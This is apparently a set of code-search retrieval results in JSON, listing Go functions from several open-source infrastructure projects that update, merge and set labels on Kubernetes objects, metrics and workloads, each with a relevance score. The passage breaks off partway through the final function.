[ { "docid": "6aba49fbd490d24ef0be8f39c2857612", "score": "0.6272491", "text": "func updateLabels(w *illumioapi.Workload, lblhref map[string]illumioapi.Label) {\n\n\tvar tmplbls []*illumioapi.Label\n\tfor _, lbl := range w.Labels {\n\t\ttmplbl := lblhref[lbl.Href]\n\t\ttmplbls = append(tmplbls, &tmplbl)\n\t}\n\tw.Labels = tmplbls\n}", "title": "" }, { "docid": "82abdcf98f30dd9381ebbb34b4f76fd5", "score": "0.5862026", "text": "func TestDiscoveredLabelsUpdate(t *testing.T) {\n\tsp := &scrapePool{}\n\t// These are used when syncing so need this to avoid a panic.\n\tsp.config = &config.ScrapeConfig{\n\t\tScrapeInterval: model.Duration(1),\n\t\tScrapeTimeout: model.Duration(1),\n\t}\n\tsp.activeTargets = make(map[uint64]*Target)\n\tt1 := &Target{\n\t\tdiscoveredLabels: labels.FromStrings(\"label\", \"name\"),\n\t}\n\tsp.activeTargets[t1.hash()] = t1\n\n\tt2 := &Target{\n\t\tdiscoveredLabels: labels.FromStrings(\"labelNew\", \"nameNew\"),\n\t}\n\tsp.sync([]*Target{t2})\n\n\trequire.Equal(t, t2.DiscoveredLabels(), sp.activeTargets[t1.hash()].DiscoveredLabels())\n}", "title": "" }, { "docid": "8cdbaf472adca28af7c96f6fd14c49b1", "score": "0.5690326", "text": "func updateLabels(pod *corev1.Pod, envoyUID string) *JSONPatchOperation {\n\tif len(pod.Labels) == 0 {\n\t\treturn &JSONPatchOperation{\n\t\t\tOp: \"add\",\n\t\t\tPath: labelsPath,\n\t\t\tValue: map[string]string{constants.EnvoyUniqueIDLabelName: envoyUID},\n\t\t}\n\t}\n\n\tgetOp := func() string {\n\t\tif _, exists := pod.Labels[constants.EnvoyUniqueIDLabelName]; exists {\n\t\t\treturn \"replace\"\n\t\t}\n\t\treturn \"add\"\n\t}\n\n\treturn &JSONPatchOperation{\n\t\tOp: getOp(),\n\t\tPath: path.Join(labelsPath, constants.EnvoyUniqueIDLabelName),\n\t\tValue: envoyUID,\n\t}\n}", "title": "" }, { "docid": "879a6124da886076ae3f5f37dff0de3a", "score": "0.5640196", "text": "func (r *NodeReconciler) updateLabels(node *ethereumv1alpha1.Node) {\n\n\tif node.Labels == nil {\n\t\tnode.Labels = map[string]string{}\n\t}\n\n\tnode.Labels[\"name\"] = \"node\"\n\tnode.Labels[\"protocol\"] = \"ethereum\"\n\tnode.Labels[\"client\"] = string(node.Spec.Client)\n\n\tif node.Labels[\"instance\"] == \"\" {\n\t\tnode.Labels[\"instance\"] = node.Name\n\t}\n}", "title": "" }, { "docid": "f9621bf849c66351ae1bfdc4b835f3fc", "score": "0.5610868", "text": "func (d *portworx) UpdatePoolLabels(n node.Node, poolID string, labels map[string]string) error {\n\n\tlabelStrings := make([]string, 0)\n\tfor k, v := range labels {\n\t\tlabelString := fmt.Sprintf(\"%s=%s\", k, v)\n\t\tlabelStrings = append(labelStrings, labelString)\n\t}\n\n\tlabelsStr := strings.Join(labelStrings, \",\")\n\tfmt.Printf(\"label string is %s\\n\", labelsStr)\n\tcmd := fmt.Sprintf(\"%s sv pool update -u %s --labels=%s\", d.getPxctlPath(n), poolID, labelsStr)\n\tfmt.Printf(\"cmd: %s\\n\", cmd)\n\t_, err := d.nodeDriver.RunCommandWithNoRetry(n, cmd, node.ConnectionOpts{\n\t\tTimeout: 2 * time.Minute,\n\t\tTimeBeforeRetry: 10 * time.Second,\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n\n}", "title": "" }, { "docid": "86e3ec3dc6c868ef10b7331143ba0760", "score": "0.5445075", "text": "func (r workloadEndpoints) updateLabelsForStorage(res *apiv3.WorkloadEndpoint) {\r\n\tlabelsCopy := make(map[string]string, len(res.GetLabels())+2)\r\n\tfor k, v := range res.GetLabels() {\r\n\t\tlabelsCopy[k] = v\r\n\t}\r\n\tlabelsCopy[apiv3.LabelNamespace] = res.Namespace\r\n\tlabelsCopy[apiv3.LabelOrchestrator] = res.Spec.Orchestrator\r\n\tres.SetLabels(labelsCopy)\r\n}", "title": "" }, { "docid": "f686eb0d3545cc8bc150f05347360171", "score": "0.54241705", "text": "func targetLabels(config *rest.Config, target api_v1beta1.TargetRef, namespace string) (map[string]string, error) {\n\n\tlabels := make(map[string]string)\n\tswitch target.Kind {\n\tcase apis.KindAppBinding:\n\t\tappGroup, appKind, err := getAppGroupKind(config, target.Name, namespace)\n\t\t// For PerconaXtradDB cluster restore, AppBinding will not exist during restore.\n\t\t// In this case, we can not add AppBinding specific labels.\n\t\tif err == nil {\n\t\t\tlabels[MetricsLabelKind] = appKind\n\t\t\tlabels[MetricsLabelAppGroup] = appGroup\n\t\t} else if !kerr.IsNotFound(err) {\n\t\t\treturn nil, err\n\t\t}\n\tdefault:\n\t\tlabels[MetricsLabelKind] = target.Kind\n\t\tgv, err := schema.ParseGroupVersion(target.APIVersion)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tlabels[MetricsLabelAppGroup] = gv.Group\n\t}\n\tlabels[MetricsLabelName] = target.Name\n\treturn labels, nil\n}", "title": "" }, { "docid": "95f9cfd27c19f8a233b117b78cf80631", "score": "0.5409387", "text": "func (l *Labels) StoreLabels() error {\n\tbb, jsonErr := json.Marshal(l)\n\tif jsonErr != nil {\n\t\treturn jsonErr\n\t}\n\n\tkey := GetLabelsKey(l.userID)\n\tappErr := l.api.KVSet(key, bb)\n\tif appErr != nil {\n\t\treturn appErr\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "b3bfe2cdbc5792f4f05f386d9830bbf6", "score": "0.5291126", "text": "func (mc *MockCluster) AddLabelsStore(storeID uint64, regionCount int, labels map[string]string) {\n\tmc.AddRegionStore(storeID, regionCount)\n\tstore := mc.GetStore(storeID)\n\tfor k, v := range labels {\n\t\tstore.Labels = append(store.Labels, &metapb.StoreLabel{Key: k, Value: v})\n\t}\n\tmc.PutStore(store)\n}", "title": "" }, { "docid": "d177094f2f2562d0d565cb6c27ecd104", "score": "0.5285101", "text": "func setLabelsRetainExisting(src labels.Labels, additionalLabels ...labels.Label) labels.Labels {\n\tlb := labels.NewBuilder(src)\n\n\tfor _, additionalL := range additionalLabels {\n\t\tif oldValue := src.Get(additionalL.Name); oldValue != \"\" {\n\t\t\tlb.Set(\n\t\t\t\tretainExistingPrefix+additionalL.Name,\n\t\t\t\toldValue,\n\t\t\t)\n\t\t}\n\t\tlb.Set(additionalL.Name, additionalL.Value)\n\t}\n\n\treturn lb.Labels()\n}", "title": "" }, { "docid": "b6c12f321a03e702bb787667c1acc3f3", "score": "0.5262218", "text": "func (w *Workload) UpdateLabel(pce PCE, key, value string) error {\n\tvar updatedLabels []*Label\n\tfor _, l := range w.Labels {\n\t\tx, _, err := GetLabelbyHref(pce, l.Href)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error updating workload - %s\", err)\n\t\t}\n\t\tif x.Key == key {\n\t\t\t// Get our new label's href\n\t\t\tnewLabel, _, err := GetLabelbyKeyValue(pce, key, value)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error updating workload - %s\", err)\n\t\t\t}\n\t\t\t// Create the label if it doesn't exist\n\t\t\tif newLabel.Href == \"\" {\n\t\t\t\tcreatedLabel, _, err := CreateLabel(pce, Label{Key: key, Value: value})\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error updating workload - %s\", err)\n\t\t\t\t}\n\t\t\t\tupdatedLabels = append(updatedLabels, &Label{Href: createdLabel.Href})\n\t\t\t\t// If the new label does exist, add it to the slice\n\t\t\t} else {\n\t\t\t\tupdatedLabels = append(updatedLabels, &Label{Href: newLabel.Href})\n\t\t\t}\n\t\t} else {\n\t\t\tupdatedLabels = append(updatedLabels, &Label{Href: l.Href})\n\t\t}\n\t\tw.Labels = updatedLabels\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "22915e32b444fb780cb085e0c948a3f4", "score": "0.51931727", "text": "func (l *Labels) storeLabels() error {\n\tbb, jsonErr := json.Marshal(l)\n\tif jsonErr != nil {\n\t\treturn jsonErr\n\t}\n\n\tkey := getLabelsKey(l.userID)\n\tappErr := l.api.KVSet(key, bb)\n\tif appErr != nil {\n\t\treturn appErr\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "67d4a87d3c24b5b5f0d308f903f1f20a", "score": "0.5166198", "text": "func UpdateLabels(service *servingv1alpha1.Service, template *servingv1alpha1.RevisionTemplateSpec, toUpdate map[string]string, toRemove []string) error {\n\tif service.ObjectMeta.Labels == nil {\n\t\tservice.ObjectMeta.Labels = make(map[string]string)\n\t}\n\tif template.ObjectMeta.Labels == nil {\n\t\ttemplate.ObjectMeta.Labels = make(map[string]string)\n\t}\n\tfor key, value := range toUpdate {\n\t\tservice.ObjectMeta.Labels[key] = value\n\t\ttemplate.ObjectMeta.Labels[key] = value\n\t}\n\tfor _, key := range toRemove {\n\t\tdelete(service.ObjectMeta.Labels, key)\n\t\tdelete(template.ObjectMeta.Labels, key)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7bff0a6d02298642cfa64eeac62af661", "score": "0.510888", "text": "func updateLabelOp(metric pmetric.Metric, mtpOp internalOperation, f internalFilter) {\n\top := mtpOp.configOperation\n\trangeDataPointAttributes(metric, func(attrs pcommon.Map) bool {\n\t\tif !f.matchAttrs(attrs) {\n\t\t\treturn true\n\t\t}\n\n\t\tattrKey := op.Label\n\t\tattrVal, ok := attrs.Get(attrKey)\n\t\tif !ok {\n\t\t\treturn true\n\t\t}\n\n\t\tif op.NewLabel != \"\" {\n\t\t\tattrVal.CopyTo(attrs.PutEmpty(op.NewLabel))\n\t\t\tattrs.Remove(attrKey)\n\t\t\tattrKey = op.NewLabel\n\t\t}\n\n\t\tif newValue, ok := mtpOp.valueActionsMapping[attrVal.Str()]; ok {\n\t\t\tattrs.PutStr(attrKey, newValue)\n\t\t}\n\t\treturn true\n\t})\n}", "title": "" }, { "docid": "6932670257229a4f191aa4c883a86eb1", "score": "0.5101999", "text": "func (app *App) MergeLabels(labels map[string]string) {\n\tfor k, v := range labels {\n\t\tapp.Labels[k] = v\n\t}\n}", "title": "" }, { "docid": "8fcc3ac2be02fabeb2b6e3fa31d17d89", "score": "0.5072095", "text": "func (pu *PostUpdate) ClearLabels() *PostUpdate {\n\tpu.mutation.ClearLabels()\n\treturn pu\n}", "title": "" }, { "docid": "a8808d9c6138519c3f5b2036a8216b5e", "score": "0.50185305", "text": "func PopulateLabels(lb *labels.Builder, cfg *config.ScrapeConfig, noDefaultPort bool) (res, orig labels.Labels, err error) {\n\t// Copy labels into the labelset for the target if they are not set already.\n\tscrapeLabels := []labels.Label{\n\t\t{Name: model.JobLabel, Value: cfg.JobName},\n\t\t{Name: model.ScrapeIntervalLabel, Value: cfg.ScrapeInterval.String()},\n\t\t{Name: model.ScrapeTimeoutLabel, Value: cfg.ScrapeTimeout.String()},\n\t\t{Name: model.MetricsPathLabel, Value: cfg.MetricsPath},\n\t\t{Name: model.SchemeLabel, Value: cfg.Scheme},\n\t}\n\n\tfor _, l := range scrapeLabels {\n\t\tif lb.Get(l.Name) == \"\" {\n\t\t\tlb.Set(l.Name, l.Value)\n\t\t}\n\t}\n\t// Encode scrape query parameters as labels.\n\tfor k, v := range cfg.Params {\n\t\tif len(v) > 0 {\n\t\t\tlb.Set(model.ParamLabelPrefix+k, v[0])\n\t\t}\n\t}\n\n\tpreRelabelLabels := lb.Labels()\n\tkeep := relabel.ProcessBuilder(lb, cfg.RelabelConfigs...)\n\n\t// Check if the target was dropped.\n\tif !keep {\n\t\treturn labels.EmptyLabels(), preRelabelLabels, nil\n\t}\n\tif v := lb.Get(model.AddressLabel); v == \"\" {\n\t\treturn labels.EmptyLabels(), labels.EmptyLabels(), errors.New(\"no address\")\n\t}\n\n\t// addPort checks whether we should add a default port to the address.\n\t// If the address is not valid, we don't append a port either.\n\taddPort := func(s string) (string, string, bool) {\n\t\t// If we can split, a port exists and we don't have to add one.\n\t\tif host, port, err := net.SplitHostPort(s); err == nil {\n\t\t\treturn host, port, false\n\t\t}\n\t\t// If adding a port makes it valid, the previous error\n\t\t// was not due to an invalid address and we can append a port.\n\t\t_, _, err := net.SplitHostPort(s + \":1234\")\n\t\treturn \"\", \"\", err == nil\n\t}\n\n\taddr := lb.Get(model.AddressLabel)\n\tscheme := lb.Get(model.SchemeLabel)\n\thost, port, add := addPort(addr)\n\t// If it's an address with no trailing port, infer it based on the used scheme\n\t// unless the no-default-scrape-port feature flag is present.\n\tif !noDefaultPort && add {\n\t\t// Addresses reaching this point are already wrapped in [] if necessary.\n\t\tswitch scheme {\n\t\tcase \"http\", \"\":\n\t\t\taddr += \":80\"\n\t\tcase \"https\":\n\t\t\taddr += \":443\"\n\t\tdefault:\n\t\t\treturn labels.EmptyLabels(), labels.EmptyLabels(), errors.Errorf(\"invalid scheme: %q\", cfg.Scheme)\n\t\t}\n\t\tlb.Set(model.AddressLabel, addr)\n\t}\n\n\tif noDefaultPort {\n\t\t// If it's an address with a trailing default port and the\n\t\t// no-default-scrape-port flag is present, remove the port.\n\t\tswitch port {\n\t\tcase \"80\":\n\t\t\tif scheme == \"http\" {\n\t\t\t\tlb.Set(model.AddressLabel, host)\n\t\t\t}\n\t\tcase \"443\":\n\t\t\tif scheme == \"https\" {\n\t\t\t\tlb.Set(model.AddressLabel, host)\n\t\t\t}\n\t\t}\n\t}\n\n\tif err := config.CheckTargetAddress(model.LabelValue(addr)); err != nil {\n\t\treturn labels.EmptyLabels(), labels.EmptyLabels(), err\n\t}\n\n\tinterval := lb.Get(model.ScrapeIntervalLabel)\n\tintervalDuration, err := model.ParseDuration(interval)\n\tif err != nil {\n\t\treturn labels.EmptyLabels(), labels.EmptyLabels(), errors.Errorf(\"error parsing scrape interval: %v\", err)\n\t}\n\tif time.Duration(intervalDuration) == 0 {\n\t\treturn labels.EmptyLabels(), labels.EmptyLabels(), errors.New(\"scrape interval cannot be 0\")\n\t}\n\n\ttimeout := lb.Get(model.ScrapeTimeoutLabel)\n\ttimeoutDuration, err := model.ParseDuration(timeout)\n\tif err != nil {\n\t\treturn labels.EmptyLabels(), labels.EmptyLabels(), errors.Errorf(\"error parsing scrape timeout: %v\", err)\n\t}\n\tif time.Duration(timeoutDuration) == 0 {\n\t\treturn labels.EmptyLabels(), labels.EmptyLabels(), errors.New(\"scrape timeout cannot be 0\")\n\t}\n\n\tif timeoutDuration > intervalDuration {\n\t\treturn labels.EmptyLabels(), labels.EmptyLabels(), errors.Errorf(\"scrape timeout cannot be greater than scrape interval (%q > %q)\", timeout, interval)\n\t}\n\n\t// Meta labels are deleted after relabelling. Other internal labels propagate to\n\t// the target which decides whether they will be part of their label set.\n\tlb.Range(func(l labels.Label) {\n\t\tif strings.HasPrefix(l.Name, model.MetaLabelPrefix) {\n\t\t\tlb.Del(l.Name)\n\t\t}\n\t})\n\n\t// Default the instance label to the target address.\n\tif v := lb.Get(model.InstanceLabel); v == \"\" {\n\t\tlb.Set(model.InstanceLabel, addr)\n\t}\n\n\tres = lb.Labels()\n\terr = res.Validate(func(l labels.Label) error {\n\t\t// Check label values are valid, drop the target if not.\n\t\tif !model.LabelValue(l.Value).IsValid() {\n\t\t\treturn errors.Errorf(\"invalid label value for %q: %q\", l.Name, l.Value)\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn labels.EmptyLabels(), labels.EmptyLabels(), err\n\t}\n\treturn res, preRelabelLabels, nil\n}", "title": "" }, { "docid": "c21eb7e105d9e54755215857b701297b", "score": "0.4991457", "text": "func mergeLabels(groupName, ruleName string, set1, set2 map[string]string) map[string]string {\n\tr := map[string]string{}\n\tfor k, v := range set1 {\n\t\tr[k] = v\n\t}\n\tfor k, v := range set2 {\n\t\tif prevV, ok := r[k]; ok {\n\t\t\tlogger.Infof(\"label %q=%q for rule %q.%q overwritten with external label %q=%q\",\n\t\t\t\tk, prevV, groupName, ruleName, k, v)\n\t\t}\n\t\tr[k] = v\n\t}\n\treturn r\n}", "title": "" }, { "docid": "a7af15ad7f735a0e07b94bfd7a796be2", "score": "0.49569717", "text": "func (p *Peer) SetLabels(labels []storepb.Label) {\n\tp.mtx.Lock()\n\tdefer p.mtx.Unlock()\n\n\ts := p.data[p.Name()]\n\ts.Metadata.Labels = labels\n\tp.data[p.Name()] = s\n}", "title": "" }, { "docid": "efc1fdd9b9f9feb4b79a18cc386116ff", "score": "0.49566287", "text": "func (r *ConfigConnectorContextReconciler) addLabels() declarative.ObjectTransform {\n\treturn func(ctx context.Context, o declarative.DeclarativeObject, manifest *manifest.Objects) error {\n\t\tlabels := r.labelMaker(ctx, o)\n\t\tfor _, o := range manifest.Items {\n\t\t\to.AddLabels(labels)\n\t\t}\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "9cb0069557995bf00a8b80e71f95e06f", "score": "0.4902874", "text": "func updateLabels(allocator cache.IdentityAllocator, allowedIdentityTuple *cilium_v2.IdentityTuple, secID identity.NumericIdentity) {\n\t// IdentityUnknown denotes that this is an L4-only BPF\n\t// allow, so it applies to all identities. In this case\n\t// we should skip resolving the labels, because the\n\t// value 0 does not denote an allow for the \"unknown\"\n\t// identity, but instead an allow of all identities for\n\t// that port.\n\tif secID != identity.IdentityUnknown {\n\t\tidentity := allocator.LookupIdentityByID(context.TODO(), secID)\n\t\tif identity != nil {\n\t\t\tvar l labels.Labels\n\t\t\tif identity.CIDRLabel != nil {\n\t\t\t\tl = identity.CIDRLabel\n\t\t\t} else {\n\t\t\t\tl = identity.Labels\n\t\t\t}\n\n\t\t\tallowedIdentityTuple.IdentityLabels = l.StringMap()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "3a200d80c0a5f9aac538990ff2db3b46", "score": "0.48855606", "text": "func (puo *PostUpdateOne) ClearLabels() *PostUpdateOne {\n\tpuo.mutation.ClearLabels()\n\treturn puo\n}", "title": "" }, { "docid": "2740896ea7ff1adf7d63279e391e55ff", "score": "0.4869847", "text": "func addLabels(target map[string]string, added map[string]string) []rfc6902PatchOperation {\n\tpatches := []rfc6902PatchOperation{}\n\n\taddedKeys := make([]string, 0, len(added))\n\tfor key := range added {\n\t\taddedKeys = append(addedKeys, key)\n\t}\n\tsort.Strings(addedKeys)\n\n\tfor _, key := range addedKeys {\n\t\tvalue := added[key]\n\t\tpatch := rfc6902PatchOperation{\n\t\t\tOp: \"add\",\n\t\t\tPath: \"/metadata/labels/\" + escapeJSONPointerValue(key),\n\t\t\tValue: value,\n\t\t}\n\n\t\tif target == nil {\n\t\t\ttarget = map[string]string{}\n\t\t\tpatch.Path = \"/metadata/labels\"\n\t\t\tpatch.Value = map[string]string{\n\t\t\t\tkey: value,\n\t\t\t}\n\t\t}\n\n\t\tif target[key] == \"\" {\n\t\t\tpatches = append(patches, patch)\n\t\t}\n\t}\n\n\treturn patches\n}", "title": "" }, { "docid": "3ec7c5b78abf2875f088b8716a0da73e", "score": "0.48544523", "text": "func (m *Metadata) setExtraLabels(\n\tlabels map[string]string, podUID string,\n\textraMetadataLabel MetadataLabel, extraMetadataFrom string) error {\n\t// Ensure MetadataLabel exists before proceeding.\n\tif !m.Labels[extraMetadataLabel] || len(m.Labels) == 0 {\n\t\treturn nil\n\t}\n\n\t// Cannot proceed, if metadata is unavailable.\n\tif m.PodsMetadata == nil {\n\t\treturn errors.New(\"pods metadata were not fetched\")\n\t}\n\n\tswitch extraMetadataLabel {\n\tcase MetadataLabelContainerID:\n\t\tcontainerID, err := m.getContainerID(podUID, extraMetadataFrom)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tlabels[conventions.AttributeContainerID] = containerID\n\tcase MetadataLabelVolumeType:\n\t\terr := m.setExtraVolumeMetadata(podUID, extraMetadataFrom, labels)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3507788970266c98aaa44b33c200013f", "score": "0.48409304", "text": "func (ce *ChangesetEvents) UpdateLabelsSince(cs *cmpgn.Changeset) []cmpgn.ChangesetLabel {\n\tvar current []cmpgn.ChangesetLabel\n\tvar since time.Time\n\tif cs != nil {\n\t\tcurrent = cs.Labels()\n\t\tsince = cs.UpdatedAt\n\t}\n\t// Copy slice so that we don't mutate ce\n\tsorted := make(ChangesetEvents, len(*ce))\n\tcopy(sorted, *ce)\n\tsort.Sort(sorted)\n\n\t// Iterate through all label events to get the current set\n\tset := make(map[string]cmpgn.ChangesetLabel)\n\tfor _, l := range current {\n\t\tset[l.Name] = l\n\t}\n\tfor _, event := range sorted {\n\t\tswitch e := event.Metadata.(type) {\n\t\tcase *github.LabelEvent:\n\t\t\tif e.CreatedAt.Before(since) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif e.Removed {\n\t\t\t\tdelete(set, e.Label.Name)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tset[e.Label.Name] = cmpgn.ChangesetLabel{\n\t\t\t\tName: e.Label.Name,\n\t\t\t\tColor: e.Label.Color,\n\t\t\t\tDescription: e.Label.Description,\n\t\t\t}\n\t\t}\n\t}\n\tlabels := make([]cmpgn.ChangesetLabel, 0, len(set))\n\tfor _, label := range set {\n\t\tlabels = append(labels, label)\n\t}\n\treturn labels\n}", "title": "" }, { "docid": "96c5d4e7324335803570db9ec6c600c7", "score": "0.4835678", "text": "func syncLabelsWithPrefix(src metav1.Object, dest metav1.Object, prefix string) (changed bool) {\n\tlabels := dest.GetLabels()\n\n\tfor srcKey, srcValue := range src.GetLabels() {\n\t\tif strings.HasPrefix(srcKey, prefix) {\n\t\t\tdestValue, ok := labels[srcKey]\n\t\t\tif !ok || destValue != srcValue {\n\t\t\t\tchanged = true\n\t\t\t\tlabels[srcKey] = srcValue\n\t\t\t}\n\t\t}\n\t}\n\n\tdest.SetLabels(labels)\n\treturn\n}", "title": "" }, { "docid": "854909419c572072375735e44fb2824f", "score": "0.48274055", "text": "func createLabelSet(labels []*common.StringKeyValue, extras ...string) []prompb.Label {\n\n\t// map ensures no duplicate label name\n\tl := map[string]prompb.Label{}\n\n\tfor _, lb := range labels {\n\t\tl[lb.Key] = prompb.Label{\n\t\t\tName: sanitize(lb.Key),\n\t\t\tValue: lb.Value,\n\t\t}\n\t}\n\n\tfor i := 0; i < len(extras); i += 2 {\n\t\tif i+1 >= len(extras) {\n\t\t\tbreak\n\t\t}\n\t\t_, found := l[extras[i]]\n\t\tif found {\n\t\t\tlog.Println(\"label \" + extras[i] + \" is overwritten. Check if Prometheus reserved labels are used.\")\n\t\t}\n\t\t// internal labels should be maintained\n\t\tname := extras[i]\n\t\tif !(len(name) > 4 && name[:2] == \"__\" && name[len(name)-2:] == \"__\") {\n\t\t\tname = sanitize(name)\n\t\t}\n\t\tl[extras[i]] = prompb.Label{\n\t\t\tName: name,\n\t\t\tValue: extras[i+1],\n\t\t}\n\t}\n\n\ts := make([]prompb.Label, 0, len(l))\n\n\tfor _, lb := range l {\n\t\ts = append(s, lb)\n\t}\n\n\treturn s\n}", "title": "" }, { "docid": "744399413f06a3de505347b93ff6784b", "score": "0.48193032", "text": "func mergeLabels(l1, l2 map[string]string) {\n\tfor k, v := range l2 {\n\t\tif _, ok := l1[k]; ok {\n\t\t\tcontinue\n\t\t}\n\t\tl1[k] = v\n\t}\n}", "title": "" }, { "docid": "744399413f06a3de505347b93ff6784b", "score": "0.48193032", "text": "func mergeLabels(l1, l2 map[string]string) {\n\tfor k, v := range l2 {\n\t\tif _, ok := l1[k]; ok {\n\t\t\tcontinue\n\t\t}\n\t\tl1[k] = v\n\t}\n}", "title": "" }, { "docid": "744399413f06a3de505347b93ff6784b", "score": "0.48193032", "text": "func mergeLabels(l1, l2 map[string]string) {\n\tfor k, v := range l2 {\n\t\tif _, ok := l1[k]; ok {\n\t\t\tcontinue\n\t\t}\n\t\tl1[k] = v\n\t}\n}", "title": "" }, { "docid": "f95f8c26eb30c4326dd0679a8bd7aa58", "score": "0.479156", "text": "func (state *BuildState) expandLabels(labels []BuildLabel, justTests bool) BuildLabels {\n\tret := BuildLabels{}\n\tfor _, label := range labels {\n\t\tif label.IsPseudoTarget() {\n\t\t\tret = append(ret, state.expandOriginalPseudoTarget(label, justTests)...)\n\t\t} else {\n\t\t\tret = append(ret, label)\n\t\t}\n\t}\n\treturn ret\n}", "title": "" }, { "docid": "c256aedc01d39ec688f52253db955430", "score": "0.47680417", "text": "func (l *Label) Update() error {\n\treturn nil\n}", "title": "" }, { "docid": "b915aeba9ecea8f104836bc51d1ce194", "score": "0.47334713", "text": "func (n *HostNode) MergeLabels() map[string]string {\n\t// TODO: Parallel\n\tlabels := make(map[string]string, len(n.Labels)+len(n.CustomLabels))\n\t// copy labels\n\tfor k, v := range n.Labels {\n\t\tlabels[k] = v\n\t}\n\tfor k, v := range n.CustomLabels {\n\t\tif _, ok := n.Labels[k]; !ok {\n\t\t\tlabels[k] = v\n\t\t}\n\t}\n\treturn labels\n}", "title": "" }, { "docid": "dd20e1ab75d4d6a8d9a485530130505b", "score": "0.47270593", "text": "func MergeLabels(keyLabels, prefixLabels map[string]string) map[string]string {\n\tif len(keyLabels) > 0 {\n\t\tfor k, v := range prefixLabels {\n\t\t\tif _, ok := keyLabels[k]; ok {\n\t\t\t\tkeyLabels[\"_\"+k] = v\n\t\t\t} else {\n\t\t\t\tkeyLabels[k] = v\n\t\t\t}\n\t\t}\n\t\treturn keyLabels\n\t}\n\n\treturn prefixLabels\n}", "title": "" }, { "docid": "c83043b5e8d8381a3f39c4776934622b", "score": "0.4718506", "text": "func (o ShareOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v *Share) pulumi.StringMapOutput { return v.Labels }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "867d1168a1cbb4453fde2c9e3b94f053", "score": "0.47166172", "text": "func setIDsAndLabels(p *pkcs11.Ctx, session pkcs11.SessionHandle, gun data.GUN, role data.RoleName, id string, labels []string, objects []pkcs11.ObjectHandle) error {\n\n\tfor i, object := range objects {\n\t\tlabel := labels[i]\n\t\tidLabelTemplate := []*pkcs11.Attribute{\n\t\t\tpkcs11.NewAttribute(pkcs11.CKA_ID, []byte(id)),\n\t\t\tpkcs11.NewAttribute(pkcs11.CKA_LABEL, []byte(fmt.Sprintf(\"notary-%s;%s;%s;%s\", string(gun), id, string(role), label))),\n\t\t}\n\t\terr := p.SetAttributeValue(session, object, idLabelTemplate)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to set id/label for objects: %v\", err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d332f42313a090b85ae0f3e520be025b", "score": "0.4707789", "text": "func (w *gpuWorkloadConfiguration) addGPUStateLabels(labels map[string]string) bool {\n\tmodified := false\n\tfor key, value := range gpuStateLabels[w.config] {\n\t\tif _, ok := labels[key]; !ok {\n\t\t\tw.log.Info(\"Setting node label\", \"NodeName\", w.node, \"Label\", key, \"Value\", value)\n\t\t\tlabels[key] = value\n\t\t\tmodified = true\n\t\t}\n\t}\n\tif w.config == gpuWorkloadConfigContainer && hasMIGCapableGPU(labels) && !hasMIGManagerLabel(labels) {\n\t\tw.log.Info(\"Setting node label\", \"NodeName\", w.node, \"Label\", migManagerLabelKey, \"Value\", migManagerLabelValue)\n\t\tlabels[migManagerLabelKey] = migManagerLabelValue\n\t\tmodified = true\n\t}\n\treturn modified\n}", "title": "" }, { "docid": "6ccafb6e04a951aac6d4f030685eee9a", "score": "0.46879697", "text": "func labelNamespace(ns string, labels map[string]string) {\n\tfor k, v := range labels {\n\t\tcmd := command{\n\t\t\tCmd: \"bash\",\n\t\t\tArgs: []string{\"-c\", \"kubectl label --overwrite namespace/\" + ns + \" \" + k + \"=\" + v},\n\t\t\tDescription: \"labeling namespace \" + ns,\n\t\t}\n\n\t\tif exitCode, _ := cmd.exec(debug, verbose); exitCode != 0 {\n\t\t\tlog.Println(\"WARN: I could not label namespace [ \" + ns + \" with \" + k + \"=\" + v +\n\t\t\t\t\" ]. It already exists. I am skipping this.\")\n\t\t}\n\t}\n}", "title": "" }, { "docid": "427bc46e400a0aadad64ff0d9941f4d0", "score": "0.46823412", "text": "func (w *gpuWorkloadConfiguration) updateGPUStateLabels(labels map[string]string) bool {\n\tif hasOperandsDisabled(labels) {\n\t\t// Operands are disabled, delete all GPU state labels\n\t\tw.log.Info(\"Operands are disabled for node\", \"NodeName\", w.node, \"Label\", commonOperandsLabelKey, \"Value\", \"false\")\n\t\tw.log.Info(\"Disabling all operands for node\", \"NodeName\", w.node)\n\t\treturn removeAllGPUStateLabels(labels)\n\t}\n\tremoved := w.removeGPUStateLabels(labels)\n\tadded := w.addGPUStateLabels(labels)\n\treturn removed || added\n}", "title": "" }, { "docid": "33adc1c683f0c0b262505950d8837e7a", "score": "0.46791324", "text": "func (k *kanaryServiceImpl) updatePodLabels(kclient client.Client, reqLogger logr.Logger, kd *kanaryv1alpha1.KanaryStatefulset, service *corev1.Service) (needsReturn bool, result reconcile.Result, err error) {\n\tpods := &corev1.PodList{}\n\tselector := labels.Set{\n\t\tkanaryv1alpha1.KanaryStatefulsetKanaryNameLabelKey: kd.Name,\n\t}\n\n\tlistOptions := &client.ListOptions{\n\t\tLabelSelector: selector.AsSelector(),\n\t\tNamespace: kd.Namespace,\n\t}\n\terr = kclient.List(context.TODO(), listOptions, pods)\n\tif err != nil {\n\t\treqLogger.Error(err, \"failed to list Service\")\n\t\treturn true, reconcile.Result{Requeue: true}, err\n\t}\n\tvar errs []error\n\tvar requeue bool\n\tfor _, pod := range pods.Items {\n\t\tupdatePod := pod.DeepCopy()\n\t\tif updatePod.Labels == nil {\n\t\t\tupdatePod.Labels = 